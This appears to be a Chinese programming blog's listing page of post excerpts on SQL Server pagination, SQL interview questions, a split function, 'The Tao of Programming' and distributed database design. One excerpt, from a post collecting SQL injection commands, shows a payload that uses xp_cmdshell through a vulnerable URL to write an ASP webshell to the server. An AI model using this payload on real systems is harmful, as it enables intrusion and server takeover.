DB
上善_若水
先后就职于恒生电子、阿里巴巴国际交易、连连支付;从事互联网、移动支付领域,有高并发分布式在线交易支付系统架构经验;
展开
-
SQL Server 2005下的分页SQL
其实基本上有三种方法:1、使用SQL Server 2005中新增的ROW_NUMBER几种写法分别如下: 1SELECT TOP 20 * FROM (SELECT2 ROW_NUMBER() OVER (ORDER BY Namec) AS RowNumber,3 *4FROM5 dbo.mem_member) _myResults6WHERE7 RowNumb原创 2007-09-30 08:37:00 · 1187 阅读 · 0 评论 -
编 程 之 道
Geoffrey James 第一篇 静寂的空宇 第二篇 古代的大师 第三篇 设计 第四篇 编码 第五篇 维护 第六篇 管理 第七篇 公司里的学问 第八篇 硬件和软件 第九篇 尾声 第一篇 静寂的空宇 编程大师如是说: “当你有本事夺走我手中的这块水晶石时,就是你出师的时侯了。” 1.1 在静寂的空宇里,一种神奇的物质形成并诞生了。它立刻便静止了,独自守侯着原创 2007-09-30 09:52:00 · 9525 阅读 · 0 评论 -
最详细的SQL注入相关的命令整理
最详细的SQL注入相关的命令整理 QUOTE:1、 用^转义字符来写ASP(一句话木马)文件的方法:? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execute request^("l"^)^ >c:/mu.asp;-- ? echo ^ >c:/mu原创 2007-09-27 09:53:00 · 271395 阅读 · 0 评论 -
SQL面试题与答案
1.磁盘柜上有14块73G的磁盘, 数据库为200G 大小包括日志文件,如何设置磁盘(要说明这14磁盘是怎么用的)? 这个问题应该是考察硬件知识和数据库物理部署。首先需要知道这些磁盘是否要用于存放数据库备份文件和数据库性能(读/写)要求。来决定raid的级别。1)、如果偏重于性能考虑,而且不用存放数据库备份文件的话,考虑使用raid0+1,这样可使用的磁盘容量为:14*73*50%转载 2007-09-30 08:35:00 · 1534 阅读 · 1 评论 -
SQL实现split功能的函数
分割再成批插入declare @s varchar(8000),@sql nvarchar(4000)set @s=1,12,1212,4545set @sql=insert into t(col) select +replace(@s,,, col union all select )exec(@sql)测试drop table #tabledeclare @s varchar(原创 2007-09-30 08:39:00 · 2133 阅读 · 0 评论 -
程序员的七种武器
[点评:其实这七种武器当中许多人对有些不是很在意,或者研究得很浅.但是,这些东西的深刻理解无疑会使我们编程程序的过程更加深刻.]世界上有两件事情,需要一辈子的努力。第一是学习,第二是锻炼。其实这本是说明一个问题:每个人在提高自己能力这件事情上,需要持续不断地努力。以最典型的例子来看,只有通过学习,程序员才能保证不断进步。一方面我们学习新的软件技术和更新速度极快的业界新名词;另外一方面,我们原创 2007-09-30 10:00:00 · 11186 阅读 · 0 评论 -
基于内存数据库的分布式数据库架构--何坤
【摘要】 本文提出了一种通过引入内存数据库层,建立两层多分区分布式数据库架构。此方案用于解决海量高并发系统的数据存储和访问问题,尤其适用于电子商务等数据模型复杂且业务复杂的互联网站。这些年互联网站发展迅猛,为应对海量数据下的高并发访问,产生了各种分布式架构设计思想,例如Key-Value引擎,数据分区等。而对于电子商务类网站,海量数据问题还有一个重要特点,就是数据结构化及数据之间的关联,淘宝如此,阿里巴巴也是如此,这是与社区、视频、博客等互联网站的显著差异。 1. NoSQL 是灵丹妙药吗?NoSQL、K原创 2010-10-25 10:33:00 · 26425 阅读 · 7 评论